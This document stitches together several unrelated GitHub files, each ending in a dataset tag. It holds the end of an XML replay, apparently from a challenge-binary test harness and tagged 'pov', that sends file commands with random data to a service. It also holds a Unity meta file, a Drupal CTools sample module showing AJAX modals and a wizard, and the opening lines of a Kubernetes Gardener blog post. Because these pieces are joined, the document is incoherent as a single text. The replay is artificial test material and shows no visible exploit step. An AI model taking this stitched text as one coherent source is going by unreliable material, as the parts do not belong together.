<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/k6Qcx2aP/vgzSWbjGnG/EAzuw/HYBFHZiow\n</data></match></read>
<write echo="ascii"><data>SEND\x1e/qMEM/zEgWSjze/7BEO/g17vZ8CApK\x60\x00WHlXHH3TKHBJIk5hUwnApmrrXzCYVkHSBeU6ovyXph96F23npjYphN28VFlxM27TouJ1jxsvqwSgzMlXJsmLaN8274Jwv9N5</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/zEgWSjze/7BEO/g17vZ8CApK\n</data></match></read>
<write echo="ascii"><data>SEND\x07/AsmVX5\x1e\x00mwmIE5KM0yh8MZkwyClSfpmG2vQ9YJ</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /AsmVX5\n</data></match></read>
<write echo="ascii"><data>SEND\x31/qMEM/N06gTk/B4Icognbo/7X2sU6Y/WQsm/1Odg/ophQehAY\x40\x00FJT53F7OnCcQmVBFdnYDOZwHvDHOSFvT921KmAcs6yDrFnStWYLZvU6WAbhdPB5n</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/7X2sU6Y/WQsm/1Odg/ophQehAY\n</data></match></read>
<write echo="ascii"><data>SEND\x1b/qMEM/zEgWSjze/7BEO/bFqQ3RA\x18\x00oc9yMZE2XFwA1RSJH9QjSpK4</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/zEgWSjze/7BEO/bFqQ3RA\n</data></match></read>
<write echo="ascii"><data>REPO\x0f/qMEM/YaFypF6Qd</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] YaFypF6Qd removed\n</data></match></read>
<write echo="ascii"><data>REPO\x31/qMEM/N06gTk/B4Icognbo/7X2sU6Y/WQsm/1Odg/ophQehAY</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] ophQehAY removed\n</data></match></read>
<write echo="ascii"><data>NDIR\x30/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/3vn9DjbBkH/4oEuc</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x27/qMEM/N06gTk/B4Icognbo/1zCZ7s/xopRTqWzv</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x32/qMEM/N06gTk/B4Icognbo/gwm5GrRF85/Gfslosws/MsGOAkb</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x29/qMEM/N06gTk/B4Icognbo/1zCZ7s/8hZY/7wW0Ub</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>REPO\x1d/qMEM/N06gTk/nZCmScaU7q/fWEtP</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] fWEtP removed\n</data></match></read>
<write echo="ascii"><data>SEND\x2d/qMEM/N06gTk/nZCmScaU7q/Kjdvw16ef/OBO0M/GoN4K\x47\x00nJjved7U4TQWjPIGgmxQRtFpxly9g3qwO0NXHEfXRrevjV3QeZIYBxzrukpK0tfBWPa4kwC</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/nZCmScaU7q/Kjdvw16ef/OBO0M/GoN4K\n</data></match></read>
<write echo="ascii"><data>SEND\x28/qMEM/N06gTk/B4Icognbo/gwm5GrRF85/Taqr3q\x44\x001p9DAh0d1QQI6sOQtA3Yz4bJW0OYfLRvYpnIbcgZqlpaMgQp8gua1mSiD7fxlxem6RGF</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/gwm5GrRF85/Taqr3q\n</data></match></read>
<write echo="ascii"><data>RECV\x2a/qMEM/N06gTk/B4Icognbo/gwm5GrRF85/NTVkSfkz</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[DATA] f7IsgBkDh7QLiQVHNZ4ZMvoHE\n</data></match></read>
<write echo="ascii"><data>NDIR\x31/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/vgzSWbjGnG/u2wVlx</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>REPO\x2c/qMEM/N06gTk/nFtaiwI/zvDmqnh/6bGwRym/kgVbR95</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] kgVbR95 removed\n</data></match></read>
<write echo="ascii"><data>REPO\x1f/qMEM/N06gTk/B4Icognbo/my3nSApQ</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] my3nSApQ removed\n</data></match></read>
<write echo="ascii"><data>REPO\x16/qMEM/N06gTk/DDYLrCs7X</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] DDYLrCs7X removed\n</data></match></read>
<write echo="ascii"><data>NDIR\x15/qMEM/zEgWSjze/nkzpUR</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>REPO\x35/qMEM/N06gTk/nFtaiwI/zvDmqnh/SlkE2NAnV/NPVd/3ulo7gZzo</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] 3ulo7gZzo removed\n</data></match></read>
<write echo="ascii"><data>RECV\x31/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/JA7mowz/yQAgKA2ln</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[DATA] 7UFWYc66mdVHpOP0HKcxa4GNvWLGztgd4Osj3svC7QPLKWypRhJl4XawmujWh5jHstPBuC7TNq8qc2eUYYc3fqVW7N6QNlt6\n</data></match></read>
<write echo="ascii"><data>REPO\x37/qMEM/N06gTk/B4Icognbo/7X2sU6Y/RmqDt/qtYalcW/HaKqnuJhXH</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] HaKqnuJhXH removed\n</data></match></read>
<write echo="ascii"><data>NDIR\x29/qMEM/N06gTk/B4Icognbo/7X2sU6Y/WQsm/Xgv8V</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x35/qMEM/N06gTk/B4Icognbo/7X2sU6Y/wne8pmFRj/b9RJt/FWrQH1</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x3a/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/3vn9DjbBkH/4oEuc/tBJdY6V2H</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>NDIR\x24/qMEM/N06gTk/nFtaiwI/zvDmqnh/YbBa9Us</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>REPO\x2d/qMEM/N06gTk/nZCmScaU7q/Kjdvw16ef/OBO0M/GoN4K</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] GoN4K removed\n</data></match></read>
<write echo="ascii"><data>NDIR\x3a/qMEM/N06gTk/B4Icognbo/k6Qcx2aP/vgzSWbjGnG/u2wVlx/CNgbipvw</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Added new directory\n</data></match></read>
<write echo="ascii"><data>REPO\x33/qMEM/N06gTk/B4Icognbo/7X2sU6Y/WQsm/1Odg/GWD3/OiCX4</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] OiCX4 removed\n</data></match></read>
<write echo="ascii"><data>SEND\x18/qMEM/zEgWSjze/7BEO/cP1o\x1e\x002pFCWETfxJ2rNe6cC7PDVX7izB3JzH</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/zEgWSjze/7BEO/cP1o\n</data></match></read>
<write echo="ascii"><data>REPO\x25/qMEM/N06gTk/B4Icognbo/7X2sU6Y/b1mYiC</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] b1mYiC removed\n</data></match></read>
<write echo="ascii"><data>SEND\x2a/qMEM/N06gTk/B4Icognbo/7X2sU6Y/WQsm/WtRshX\x36\x00jUiUMz0rBd3HVTDUQmweoNYRWTGWN9ficZf7ysgqXSRyrOyGI41SQd</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/7X2sU6Y/WQsm/WtRshX\n</data></match></read>
<write echo="ascii"><data>SEND\x37/qMEM/N06gTk/B4Icognbo/7X2sU6Y/wne8pmFRj/b9RJt/Ibo26jov\x18\x00LSpNG2R9tubXKhM872QTc1Yy</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/7X2sU6Y/wne8pmFRj/b9RJt/Ibo26jov\n</data></match></read>
<write echo="ascii"><data>REPO\x1b/qMEM/zEgWSjze/7BEO/bFqQ3RA</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] bFqQ3RA removed\n</data></match></read>
<write echo="ascii"><data>REPO\x34/qMEM/N06gTk/B4Icognbo/7X2sU6Y/RmqDt/8X448/roGW2M1tv</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] roGW2M1tv removed\n</data></match></read>
<write echo="ascii"><data>SEND\x3d/qMEM/N06gTk/B4Icognbo/gwm5GrRF85/Gfslosws/MsGOAkb/0kO7rX9LG5\x4a\x0037JfUcgJsNBiiyjt4jAPwDrA9aiNEqUpbCGfYDNUTt50wCNaE5KrInAUk4QrItbzqRyMFdR4Hw</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/gwm5GrRF85/Gfslosws/MsGOAkb/0kO7rX9LG5\n</data></match></read>
<write echo="ascii"><data>SEND\x32/qMEM/N06gTk/B4Icognbo/1zCZ7s/xopRTqWzv/pEJIq2TKVG\x2a\x00gSlMpRARLYOPEbNiuXYYG0W37izmXaTNO3cYz4dQiI</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] File received: /qMEM/N06gTk/B4Icognbo/1zCZ7s/xopRTqWzv/pEJIq2TKVG\n</data></match></read>
<write echo="ascii"><data>STOP</data></write>
<read echo="ascii"><delim>\n</delim><match><data>[INFO] Terminating\n</data></match></read>
</replay>
</pov>
| {
"pile_set_name": "Github"
} |
fileFormatVersion: 2
guid: d4c9e800b8d9b3344850b4b658de699d
timeCreated: 1491229652
licenseType: Store
MonoImporter:
serializedVersion: 2
defaultReferences: []
executionOrder: 0
icon: {instanceID: 0}
userData:
assetBundleName:
assetBundleVariant:
| {
"pile_set_name": "Github"
} |
<?php
/**
* @file
* Sample AJAX functionality so people can see some of the CTools AJAX
* features in use.
*/
// ---------------------------------------------------------------------------
// Drupal hooks.
/**
* Implementation of hook_menu()
*/
function ctools_ajax_sample_menu() {
$items['ctools_ajax_sample'] = array(
'title' => 'Chaos Tools AJAX Demo',
'page callback' => 'ctools_ajax_sample_page',
'access callback' => TRUE,
'type' => MENU_NORMAL_ITEM,
);
$items['ctools_ajax_sample/simple_form'] = array(
'title' => 'Simple Form',
'page callback' => 'ctools_ajax_simple_form',
'access callback' => TRUE,
'type' => MENU_CALLBACK,
);
$items['ctools_ajax_sample/%ctools_js/hello'] = array(
'title' => 'Hello World',
'page callback' => 'ctools_ajax_sample_hello',
'page arguments' => array(1),
'access callback' => TRUE,
'type' => MENU_CALLBACK,
);
$items['ctools_ajax_sample/%ctools_js/tablenix/%'] = array(
'title' => 'Hello World',
'page callback' => 'ctools_ajax_sample_tablenix',
'page arguments' => array(1, 3),
'access callback' => TRUE,
'type' => MENU_CALLBACK,
);
$items['ctools_ajax_sample/%ctools_js/login'] = array(
'title' => 'Login',
'page callback' => 'ctools_ajax_sample_login',
'page arguments' => array(1),
'access callback' => TRUE,
'type' => MENU_CALLBACK,
);
$items['ctools_ajax_sample/%ctools_js/animal'] = array(
'title' => 'Animal',
'page callback' => 'ctools_ajax_sample_animal',
'page arguments' => array(1),
'access callback' => TRUE,
'type' => MENU_CALLBACK,
);
$items['ctools_ajax_sample/%ctools_js/login/%'] = array(
'title' => 'Post-Login Action',
'page callback' => 'ctools_ajax_sample_login_success',
'page arguments' => array(1, 3),
'access callback' => TRUE,
'type' => MENU_CALLBACK,
);
$items['ctools_ajax_sample/jumped'] = array(
'title' => 'Successful Jumping',
'page callback' => 'ctools_ajax_sample_jump_menu_page',
'access callback' => TRUE,
'type' => MENU_NORMAL_ITEM,
);
return $items;
}
function ctools_ajax_simple_form() {
ctools_include('content');
ctools_include('context');
$node = node_load(1);
$context = ctools_context_create('node', $node);
$context = array('context_node_1' => $context);
return ctools_content_render('node_comment_form', 'node_comment_form', ctools_ajax_simple_form_pane(), array(), array(), $context);
}
function ctools_ajax_simple_form_pane() {
$configuration = array(
'anon_links' => 0,
'context' => 'context_node_1',
'override_title' => 0,
'override_title_text' => '',
);
return $configuration;
}
/**
* Implementation of hook_theme()
*
* Render some basic output for this module.
*/
function ctools_ajax_sample_theme() {
return array(
// Sample theme functions.
'ctools_ajax_sample_container' => array(
'arguments' => array('content' => NULL),
),
);
}
// ---------------------------------------------------------------------------
// Page callbacks.
/**
* Page callback to display links and render a container for AJAX stuff.
*/
function ctools_ajax_sample_page() {
global $user;
// Include the CTools tools that we need.
ctools_include('ajax');
ctools_include('modal');
// Add CTools' javascript to the page.
ctools_modal_add_js();
// Create our own javascript that will be used to theme a modal.
$sample_style = array(
'ctools-sample-style' => array(
'modalSize' => array(
'type' => 'fixed',
'width' => 500,
'height' => 300,
'addWidth' => 20,
'addHeight' => 15,
),
'modalOptions' => array(
'opacity' => .5,
'background-color' => '#000',
),
'animation' => 'fadeIn',
'modalTheme' => 'CToolsSampleModal',
'throbber' => theme('image', array('path' => ctools_image_path('ajax-loader.gif', 'ctools_ajax_sample'), 'alt' => t('Loading...'), 'title' => t('Loading'))),
),
);
drupal_add_js($sample_style, 'setting');
// Since we have our js, css and images in well-known named directories,
// CTools makes it easy for us to just use them without worrying about
// using drupal_get_path() and all that ugliness.
ctools_add_js('ctools-ajax-sample', 'ctools_ajax_sample');
ctools_add_css('ctools-ajax-sample', 'ctools_ajax_sample');
// Create a list of clickable links.
$links = array();
// Only show login links to the anonymous user.
if ($user->uid == 0) {
$links[] = ctools_modal_text_button(t('Modal Login (default style)'), 'ctools_ajax_sample/nojs/login', t('Login via modal'));
// The extra class points to the info in ctools-sample-style which we added
// to the settings, prefixed with 'ctools-modal'.
$links[] = ctools_modal_text_button(t('Modal Login (custom style)'), 'ctools_ajax_sample/nojs/login', t('Login via modal'), 'ctools-modal-ctools-sample-style');
}
// Four ways to do our animal picking wizard.
$button_form = ctools_ajax_sample_ajax_button_form();
$links[] = l(t('Wizard (no modal)'), 'ctools_ajax_sample/nojs/animal');
$links[] = ctools_modal_text_button(t('Wizard (default modal)'), 'ctools_ajax_sample/nojs/animal', t('Pick an animal'));
$links[] = ctools_modal_text_button(t('Wizard (custom modal)'), 'ctools_ajax_sample/nojs/animal', t('Pick an animal'), 'ctools-modal-ctools-sample-style');
$links[] = drupal_render($button_form);
$links[] = ctools_ajax_text_button(t('Hello world!'), "ctools_ajax_sample/nojs/hello", t('Replace text with "hello world"'));
$output = theme('item_list', array('items' => $links, 'title' => t('Actions')));
// This container will have data AJAXed into it.
$output .= theme('ctools_ajax_sample_container', array('content' => '<h1>' . t('Sample Content') . '</h1>'));
// Create a table that we can have data removed from via AJAX.
$header = array(t('Row'), t('Content'), t('Actions'));
$rows = array();
for ($i = 1; $i < 11; $i++) {
$rows[] = array(
'class' => array('ajax-sample-row-' . $i),
'data' => array(
$i,
md5($i),
ctools_ajax_text_button("remove", "ctools_ajax_sample/nojs/tablenix/$i", t('Delete this row')),
),
);
}
$output .= theme('table', array('header' => $header, 'rows' => $rows, array('class' => array('ajax-sample-table'))));
// Show examples of ctools javascript widgets.
$output .= '<h2>' . t('CTools Javascript Widgets') . '</h2>';
// Create a drop down menu.
$links = array();
$links[] = array('title' => t('Link 1'), 'href' => $_GET['q']);
$links[] = array('title' => t('Link 2'), 'href' => $_GET['q']);
$links[] = array('title' => t('Link 3'), 'href' => $_GET['q']);
$output .= '<h3>' . t('Drop Down Menu') . '</h3>';
$output .= theme('ctools_dropdown', array('title' => t('Click to Drop Down'), 'links' => $links));
// Create a collapsible div.
$handle = t('Click to Collapse');
$content = 'Nulla ligula ante, aliquam at adipiscing egestas, varius vel arcu. Etiam laoreet elementum mi vel consequat. Etiam scelerisque lorem vel neque consequat quis bibendum libero congue. Nulla facilisi. Mauris a elit a leo feugiat porta. Phasellus placerat cursus est vitae elementum.';
$output .= '<h3>' . t('Collapsible Div') . '</h3>';
$output .= theme('ctools_collapsible', array('handle' => $handle, 'content' => $content, 'collapsed' => FALSE));
// Create a jump menu.
ctools_include('jump-menu');
$form = drupal_get_form('ctools_ajax_sample_jump_menu_form');
$output .= '<h3>' . t('Jump Menu') . '</h3>';
$output .= drupal_render($form);
return array('markup' => array('#markup' => $output));
}
/**
* Returns a "take it all over" hello world style request.
*/
function ctools_ajax_sample_hello($js = NULL) {
$output = '<h1>' . t('Hello World') . '</h1>';
if ($js) {
ctools_include('ajax');
$commands = array();
$commands[] = ajax_command_html('#ctools-sample', $output);
// This function exits.
print ajax_render($commands);
exit;
}
else {
return $output;
}
}
/**
* Nix a row from a table and restripe.
*/
function ctools_ajax_sample_tablenix($js, $row) {
if (!$js) {
// We don't support degrading this from js because we're not
// using the server to remember the state of the table.
return MENU_ACCESS_DENIED;
}
ctools_include('ajax');
$commands = array();
$commands[] = ajax_command_remove("tr.ajax-sample-row-$row");
$commands[] = ajax_command_restripe("table.ajax-sample-table");
print ajax_render($commands);
exit;
}
/**
* A modal login callback.
*/
function ctools_ajax_sample_login($js = NULL) {
// Fall back if $js is not set.
if (!$js) {
return drupal_get_form('user_login');
}
ctools_include('modal');
ctools_include('ajax');
$form_state = array(
'title' => t('Login'),
'ajax' => TRUE,
);
$output = ctools_modal_form_wrapper('user_login', $form_state);
if (!empty($form_state['executed'])) {
// We'll just overwrite the form output if it was successful.
$output = array();
$inplace = ctools_ajax_text_button(t('remain here'), 'ctools_ajax_sample/nojs/login/inplace', t('Go to your account'));
$account = ctools_ajax_text_button(t('your account'), 'ctools_ajax_sample/nojs/login/user', t('Go to your account'));
$output[] = ctools_modal_command_display(t('Login Success'), '<div class="modal-message">Login successful. You can now choose whether to ' . $inplace . ', or go to ' . $account . '.</div>');
}
print ajax_render($output);
exit;
}
/**
* Post-login processor: should we go to the user account or stay in place?
*/
function ctools_ajax_sample_login_success($js, $action) {
if (!$js) {
// We should never be here out of ajax context.
return MENU_NOT_FOUND;
}
ctools_include('ajax');
ctools_add_js('ajax-responder');
$commands = array();
if ($action == 'inplace') {
// Stay here.
$commands[] = ctools_ajax_command_reload();
}
else {
// Bounce bounce.
$commands[] = ctools_ajax_command_redirect('user');
}
print ajax_render($commands);
exit;
}
/**
* A modal login callback.
*/
function ctools_ajax_sample_animal($js = NULL, $step = NULL) {
if ($js) {
ctools_include('modal');
ctools_include('ajax');
}
$form_info = array(
'id' => 'animals',
'path' => "ctools_ajax_sample/" . ($js ? 'ajax' : 'nojs') . "/animal/%step",
'show trail' => TRUE,
'show back' => TRUE,
'show cancel' => TRUE,
'show return' => FALSE,
'next callback' => 'ctools_ajax_sample_wizard_next',
'finish callback' => 'ctools_ajax_sample_wizard_finish',
'cancel callback' => 'ctools_ajax_sample_wizard_cancel',
// This controls order, as well as form labels.
'order' => array(
'start' => t('Choose animal'),
),
// Here we map a step to a form id.
'forms' => array(
// e.g. this for the step at wombat/create.
'start' => array(
'form id' => 'ctools_ajax_sample_start',
),
),
);
// We're not using any real storage here, so we're going to set our
// object_id to 1. When using wizard forms, id management turns
// out to be one of the hardest parts. Editing an object with an id
// is easy, but new objects don't usually have ids until somewhere
// in creation.
//
// We skip all this here by just using an id of 1.
$object_id = 1;
if (empty($step)) {
// We reset the form when $step is NULL because that means they have
// for whatever reason started over.
ctools_ajax_sample_cache_clear($object_id);
$step = 'start';
}
// This automatically gets defaults if there wasn't anything saved.
$object = ctools_ajax_sample_cache_get($object_id);
$animals = ctools_ajax_sample_animals();
// Make sure we can't somehow accidentally go to an invalid animal.
if (empty($animals[$object->type])) {
$object->type = 'unknown';
}
// Now that we have our object, dynamically add the animal's form.
if ($object->type == 'unknown') {
// If they haven't selected a type, add a form that doesn't exist yet.
$form_info['order']['unknown'] = t('Configure animal');
$form_info['forms']['unknown'] = array('form id' => 'nothing');
}
else {
// Add the selected animal to the order so that it shows up properly in the trail.
$form_info['order'][$object->type] = $animals[$object->type]['config title'];
}
// Make sure all animals forms are represented so that the next stuff can
// work correctly:
foreach ($animals as $id => $animal) {
$form_info['forms'][$id] = array('form id' => $animals[$id]['form']);
}
$form_state = array(
'ajax' => $js,
// Put our object and ID into the form state cache so we can easily find
// it.
'object_id' => $object_id,
'object' => &$object,
);
// Send this all off to our form. This is like drupal_get_form only wizardy.
ctools_include('wizard');
$form = ctools_wizard_multistep_form($form_info, $step, $form_state);
$output = drupal_render($form);
if ($output === FALSE || !empty($form_state['complete'])) {
// This creates a string based upon the animal and its setting using
// function indirection.
$animal = $animals[$object->type]['output']($object);
}
// If $output is FALSE, there was no actual form.
if ($js) {
// If javascript is active, we have to use a render array.
$commands = array();
if ($output === FALSE || !empty($form_state['complete'])) {
// Dismiss the modal.
$commands[] = ajax_command_html('#ctools-sample', $animal);
$commands[] = ctools_modal_command_dismiss();
}
elseif (!empty($form_state['cancel'])) {
// If cancelling, return to the activity.
$commands[] = ctools_modal_command_dismiss();
}
else {
$commands = ctools_modal_form_render($form_state, $output);
}
print ajax_render($commands);
exit;
}
else {
if ($output === FALSE || !empty($form_state['complete'])) {
return $animal;
}
elseif (!empty($form_state['cancel'])) {
drupal_goto('ctools_ajax_sample');
}
else {
return $output;
}
}
}
// ---------------------------------------------------------------------------
// Themes.
/**
* Theme function for main rendered output.
*/
function theme_ctools_ajax_sample_container($vars) {
$output = '<div id="ctools-sample">';
$output .= $vars['content'];
$output .= '</div>';
return $output;
}
// ---------------------------------------------------------------------------
// Stuff needed for our little wizard.
/**
* Get a list of our animals and associated forms.
*
* What we're doing is making it easy to add more animals in just one place,
* which is often how it will work in the real world. If using CTools, what
* you would probably really have, here, is a set of plugins for each animal.
*/
function ctools_ajax_sample_animals() {
return array(
'sheep' => array(
'title' => t('Sheep'),
'config title' => t('Configure sheep'),
'form' => 'ctools_ajax_sample_configure_sheep',
'output' => 'ctools_ajax_sample_show_sheep',
),
'lizard' => array(
'title' => t('Lizard'),
'config title' => t('Configure lizard'),
'form' => 'ctools_ajax_sample_configure_lizard',
'output' => 'ctools_ajax_sample_show_lizard',
),
'raptor' => array(
'title' => t('Raptor'),
'config title' => t('Configure raptor'),
'form' => 'ctools_ajax_sample_configure_raptor',
'output' => 'ctools_ajax_sample_show_raptor',
),
);
}
// ---------------------------------------------------------------------------
// Wizard caching helpers.
/**
* Store our little cache so that we can retain data from form to form.
*/
function ctools_ajax_sample_cache_set($id, $object) {
ctools_include('object-cache');
ctools_object_cache_set('ctools_ajax_sample', $id, $object);
}
/**
* Get the current object from the cache, or default.
*/
function ctools_ajax_sample_cache_get($id) {
ctools_include('object-cache');
$object = ctools_object_cache_get('ctools_ajax_sample', $id);
if (!$object) {
// Create a default object.
$object = new stdClass();
$object->type = 'unknown';
$object->name = '';
}
return $object;
}
/**
* Clear the wizard cache.
*/
function ctools_ajax_sample_cache_clear($id) {
ctools_include('object-cache');
ctools_object_cache_clear('ctools_ajax_sample', $id);
}
// ---------------------------------------------------------------------------
// Wizard in-between helpers; what to do between or after forms.
/**
* Handle the 'next' click on the add/edit pane form wizard.
*
* All we need to do is store the updated pane in the cache.
*/
function ctools_ajax_sample_wizard_next(&$form_state) {
ctools_ajax_sample_cache_set($form_state['object_id'], $form_state['object']);
}
/**
* Handle the 'finish' click on the add/edit pane form wizard.
*
* All we need to do is set a flag so the return can handle adding
* the pane.
*/
function ctools_ajax_sample_wizard_finish(&$form_state) {
$form_state['complete'] = TRUE;
}
/**
* Handle the 'cancel' click on the add/edit pane form wizard.
*/
function ctools_ajax_sample_wizard_cancel(&$form_state) {
$form_state['cancel'] = TRUE;
}
// ---------------------------------------------------------------------------
// Wizard forms for our simple info collection wizard.
/**
* Wizard start form. Choose an animal.
*/
function ctools_ajax_sample_start($form, &$form_state) {
$form_state['title'] = t('Choose animal');
$animals = ctools_ajax_sample_animals();
foreach ($animals as $id => $animal) {
$options[$id] = $animal['title'];
}
$form['type'] = array(
'#title' => t('Choose your animal'),
'#type' => 'radios',
'#options' => $options,
'#default_value' => $form_state['object']->type,
'#required' => TRUE,
);
return $form;
}
/**
* They have selected a sheep. Set it.
*/
function ctools_ajax_sample_start_submit(&$form, &$form_state) {
$form_state['object']->type = $form_state['values']['type'];
// Override where to go next based on the animal selected.
$form_state['clicked_button']['#next'] = $form_state['values']['type'];
}
/**
* Wizard form to configure your sheep.
*/
function ctools_ajax_sample_configure_sheep($form, &$form_state) {
$form_state['title'] = t('Configure sheep');
$form['name'] = array(
'#type' => 'textfield',
'#title' => t('Name your sheep'),
'#default_value' => $form_state['object']->name,
'#required' => TRUE,
);
$form['sheep'] = array(
'#title' => t('What kind of sheep'),
'#type' => 'radios',
'#options' => array(
t('Wensleydale') => t('Wensleydale'),
t('Merino') => t('Merino'),
t('Corriedale') => t('Coriedale'),
),
'#default_value' => !empty($form_state['object']->sheep) ? $form_state['object']->sheep : '',
'#required' => TRUE,
);
return $form;
}
/**
* Submit the sheep and store the values from the form.
*/
function ctools_ajax_sample_configure_sheep_submit(&$form, &$form_state) {
$form_state['object']->name = $form_state['values']['name'];
$form_state['object']->sheep = $form_state['values']['sheep'];
}
/**
* Provide some output for our sheep.
*/
function ctools_ajax_sample_show_sheep($object) {
return t('You have a @type sheep named "@name".', array(
'@type' => $object->sheep,
'@name' => $object->name,
));
}
/**
* Wizard form to configure your lizard.
*/
function ctools_ajax_sample_configure_lizard($form, &$form_state) {
$form_state['title'] = t('Configure lizard');
$form['name'] = array(
'#type' => 'textfield',
'#title' => t('Name your lizard'),
'#default_value' => $form_state['object']->name,
'#required' => TRUE,
);
$form['lizard'] = array(
'#title' => t('Venomous'),
'#type' => 'checkbox',
'#default_value' => !empty($form_state['object']->lizard),
);
return $form;
}
/**
* Submit the lizard and store the values from the form.
*/
function ctools_ajax_sample_configure_lizard_submit(&$form, &$form_state) {
$form_state['object']->name = $form_state['values']['name'];
$form_state['object']->lizard = $form_state['values']['lizard'];
}
/**
* Provide some output for our raptor.
*/
function ctools_ajax_sample_show_lizard($object) {
return t('You have a @type lizard named "@name".', array(
'@type' => empty($object->lizard) ? t('non-venomous') : t('venomous'),
'@name' => $object->name,
));
}
/**
* Wizard form to configure your raptor.
*/
function ctools_ajax_sample_configure_raptor($form, &$form_state) {
$form_state['title'] = t('Configure raptor');
$form['name'] = array(
'#type' => 'textfield',
'#title' => t('Name your raptor'),
'#default_value' => $form_state['object']->name,
'#required' => TRUE,
);
$form['raptor'] = array(
'#title' => t('What kind of raptor'),
'#type' => 'radios',
'#options' => array(
t('Eagle') => t('Eagle'),
t('Hawk') => t('Hawk'),
t('Owl') => t('Owl'),
t('Buzzard') => t('Buzzard'),
),
'#default_value' => !empty($form_state['object']->raptor) ? $form_state['object']->raptor : '',
'#required' => TRUE,
);
$form['domesticated'] = array(
'#title' => t('Domesticated'),
'#type' => 'checkbox',
'#default_value' => !empty($form_state['object']->domesticated),
);
return $form;
}
/**
* Submit the raptor and store the values from the form.
*/
function ctools_ajax_sample_configure_raptor_submit(&$form, &$form_state) {
$form_state['object']->name = $form_state['values']['name'];
$form_state['object']->raptor = $form_state['values']['raptor'];
$form_state['object']->domesticated = $form_state['values']['domesticated'];
}
/**
* Provide some output for our raptor.
*/
function ctools_ajax_sample_show_raptor($object) {
return t('You have a @type @raptor named "@name".', array(
'@type' => empty($object->domesticated) ? t('wild') : t('domesticated'),
'@raptor' => $object->raptor,
'@name' => $object->name,
));
}
/**
* Helper function to provide a sample jump menu form.
*/
function ctools_ajax_sample_jump_menu_form() {
$url = url('ctools_ajax_sample/jumped');
$form_state = array();
$form = ctools_jump_menu(array(), $form_state, array($url => t('Jump!')), array());
return $form;
}
/**
* Provide a message to the user that the jump menu worked.
*/
function ctools_ajax_sample_jump_menu_page() {
$return_link = l(t('Return to the examples page.'), 'ctools_ajax_sample');
$output = t('You successfully jumped! !return_link', array('!return_link' => $return_link));
return $output;
}
/**
* Provide a form for an example ajax modal button.
*/
function ctools_ajax_sample_ajax_button_form() {
$form = array();
$form['url'] = array(
'#type' => 'hidden',
// The name of the class is the #id of $form['ajax_button'] with "-url"
// suffix.
'#attributes' => array('class' => array('ctools-ajax-sample-button-url')),
'#value' => url('ctools_ajax_sample/nojs/animal'),
);
$form['ajax_button'] = array(
'#type' => 'button',
'#value' => 'Wizard (button modal)',
'#attributes' => array('class' => array('ctools-use-modal')),
'#id' => 'ctools-ajax-sample-button',
);
return $form;
}
| {
"pile_set_name": "Github"
} |
---
title: 'Gardener - The Kubernetes Botanist'
date: 2018-05-17
author: rfranzke
slug: gardener
---
**Authors**: [Rafael Franzke](mailto:[email protected]) (SAP), [Vasu Chandrasekhara](mailto:[email protected]) (SAP)
Today, Kubernetes is the natural choice for running software in the Cloud. More and more developers and corporations are in the process of containerizing their applications, and many of them are adopting Kubernetes for automated deployments of their Cloud Native workloads.
